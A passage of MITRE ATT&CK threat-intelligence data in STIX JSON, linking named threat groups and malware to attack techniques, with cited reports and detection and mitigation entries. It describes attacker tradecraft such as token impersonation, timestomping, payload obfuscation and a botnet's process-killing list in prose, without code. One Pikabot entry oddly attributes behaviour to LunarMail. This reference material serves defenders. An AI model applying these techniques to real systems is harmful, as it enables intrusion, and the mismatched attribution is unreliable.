BUTLER](https://attack.mitre.org/groups/G0060) has placed malware on file shares and given it the same name as legitimate documents on the share.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bf19c419-8736-4a1f-83cf-23ba5438ad4c","created":"2021-01-25T17:27:10.847Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SUNBURST](https://attack.mitre.org/software/S0559) also removed the firewall rules it created during execution.(Citation: Microsoft Deep Dive Solorigate January 2021)","modified":"2022-08-04T00:21:39.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf1c6e17-b555-4886-afd0-b5959b36f38e","created":"2024-08-14T22:16:53.444Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:16:53.444Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) is executed via the AppDomainManager injection technique.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf2660a6-1703-4dd9-ab0b-cc264e79a501","type":"relationship","created":"2021-06-30T19:50:14.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T19:50:14.766Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can use CMD to execute a process.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf26ba18-224d-421f-8fc7-3748dd2fe9bd","type":"relationship","created":"2021-10-07T16:37:51.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-10-07T16:37:51.651Z","description":"(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf341c57-1bdf-4d7a-8c01-1d94acce69a8","created":"2024-08-30T13:53:26.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-17T20:17:03.320Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) threat actors search the victim’s Slack and Microsoft Teams for conversations about the intrusion and incident response.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf3554a9-ddaa-4a36-8b21-179c9c77b0f0","created":"2023-03-28T20:43:08.680Z","revoked":false,"external_references":[{"source_name":"Microsoft Registry Drivers","description":"Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.","url":"https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:43:08.680Z","description":"Monitor for attempts to access information stored in the Registry about devices and their associated drivers, such as values under `HKLM\\SYSTEM\\CurrentControlSet\\Services` and `HKLM\\SYSTEM\\CurrentControlSet\\HardwareProfiles`.(Citation: Microsoft Registry Drivers)","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bf3726ed-c160-4f94-9b48-65a7da2a4ed3","created":"2021-12-01T18:20:54.737Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to perform timestomping of files on targeted systems.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T03:07:27.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf3b7eae-a651-4a2b-9308-52fe2542766e","type":"relationship","created":"2020-06-01T13:16:32.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Preventing SMB","url":"https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections","description":"Microsoft. (2020, March 10). Preventing SMB traffic from lateral connections and entering or leaving the network. Retrieved June 1, 2020."}],"modified":"2020-06-09T20:56:10.116Z","description":"Consider using the host firewall to restrict file sharing communications such as SMB. (Citation: Microsoft Preventing SMB)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf46855b-a15e-4789-a8e6-d5ad3261ded3","created":"2024-07-14T20:13:34.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"},{"source_name":"Logpoint Pikabot 2024","description":"Swachchhanda Shrawan Poudel. (2024, February). Pikabot: 
 A Sophisticated and Modular Backdoor Trojan with Advanced Evasion Techniques. Retrieved July 12, 2024.","url":"https://www.logpoint.com/wp-content/uploads/2024/02/logpoint-etpr-pikabot.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:21:36.391Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) decrypts command and control URIs using ADVobfuscator, and decrypts IP addresses and port numbers with a custom algorithm.(Citation: Zscaler Pikabot 2023) Other versions of [Pikabot](https://attack.mitre.org/software/S1145) decode chunks of stored stage 2 payload content in the initial payload .text section before consolidating them for further execution.(Citation: Elastic Pikabot 2024) Overall [LunarMail](https://attack.mitre.org/software/S1142) is associated with multiple encoding and encryption mechanisms to obfuscate the malware's presence and avoid analysis or detection.(Citation: Logpoint Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf492c3c-026c-45f3-bdc4-9ea200af2bb4","created":"2024-06-10T19:46:58.042Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:46:58.042Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) involves managing events on victim systems via libevent to execute a callback function when any running process contains the following references in their path without also having a reference to bioset: busybox, wget, curl, tftp, telnetd, or lua. If the bioset string is not found, the related process is terminated.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bf496f91-6737-453e-a8e8-a1d80e0e8dd0","created":"2022-04-19T16:33:06.603Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can gather the IP address from an infected host.(Citation: Microsoft NICKEL December 2021) ","modified":"2022-04-19T16:33:06.603Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf4d368e-202d-4bd2-9ffe-013ca6104e05","type":"relationship","created":"2020-05-27T15:31:09.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.812Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Windows Explorer to manually copy malicious files to remote hosts over SMB.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf4ddbd8-66de-4e14-8f58-6dee7b7b7b14","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf50a79a-2df0-4da5-86bd-b534c5c09494","created":"2024-07-02T19:02:43.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:11:20.939Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can parse IDAT chunks from .png files to look for zlib-compressed and AES encrypted C2 commands.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf598f43-a972-45de-aee8-072884fde758","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for newly constructed logon behavior across code repositories (e.g. Github) which can be configured to report access to certain pages and documents.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf5b088a-6d58-41ce-b36d-ff911fe76fb8","type":"relationship","created":"2020-04-28T18:12:13.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-06T20:07:13.736Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has duplicated the token of a high integrity process to spawn an instance of cmd.exe under an impersonated user.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf5b23c2-9b65-4909-ae6c-21b8ccadd930","type":"relationship","created":"2020-06-30T00:18:39.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:18:39.773Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has been delivered as an unsigned MSI package that was executed with msiexec.exe.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf5fcae9-bc18-4278-bf0c-be7237a5d8eb","created":"2023-03-13T17:59:51.201Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T17:59:51.201Z","description":"Use of proper Identity and Access Management (IAM) with Role Based Access Control (RBAC) policies to limit actions administrators can perform and provide a history of administrative actions to detect unauthorized use and abuse.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf603371-ff65-4b57-b80a-4f93daafbed6","type":"relationship","created":"2020-05-06T21:31:07.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.613Z","description":"[Okrum](https://attack.mitre.org/software/S0439)'s backdoor deletes files after they have been successfully uploaded to C2 servers.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf61da0b-036b-4e51-894f-71a73689cff4","type":"relationship","created":"2020-12-01T13:59:23.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2021-04-16T21:43:14.196Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can delete its loader using a batch file in the Windows temporary folder.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf66a7c4-7d72-4769-a96a-83d3363fa7a9","type":"relationship","created":"2019-06-24T13:59:46.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2019-07-06T22:20:35.298Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) downloads a tar compressed archive from a download server to the system.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf672181-ef16-4d3a-a587-9ac82ac87b8a","type":"relationship","created":"2021-04-25T21:45:21.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"modified":"2022-02-08T16:42:30.610Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has used filenames that matched the system name, and appeared as a scheduled task impersonating systems management software within the corresponding ProgramData subfolder.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf6a8896-2e07-4ed8-9f51-3847c3b0745f","type":"relationship","created":"2021-02-17T20:27:27.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-02-17T20:27:27.417Z","description":"After escalating privileges, [MegaCortex](https://attack.mitre.org/software/S0576) calls TerminateProcess(), CreateRemoteThread, and other Win32 APIs.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf7102db-9b22-4534-ac52-83d95152c242","type":"relationship","created":"2019-04-12T15:39:21.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2020-03-17T00:16:09.260Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used HTTP for command and control.(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf78e7f6-2dc5-4b1b-95bb-03e8e5e0e5a1","type":"relationship","created":"2021-04-12T19:26:30.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"Proofpoint TA416 November 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader","description":"Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:39:13.640Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has delivered initial payloads hidden using archives and encoding measures.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 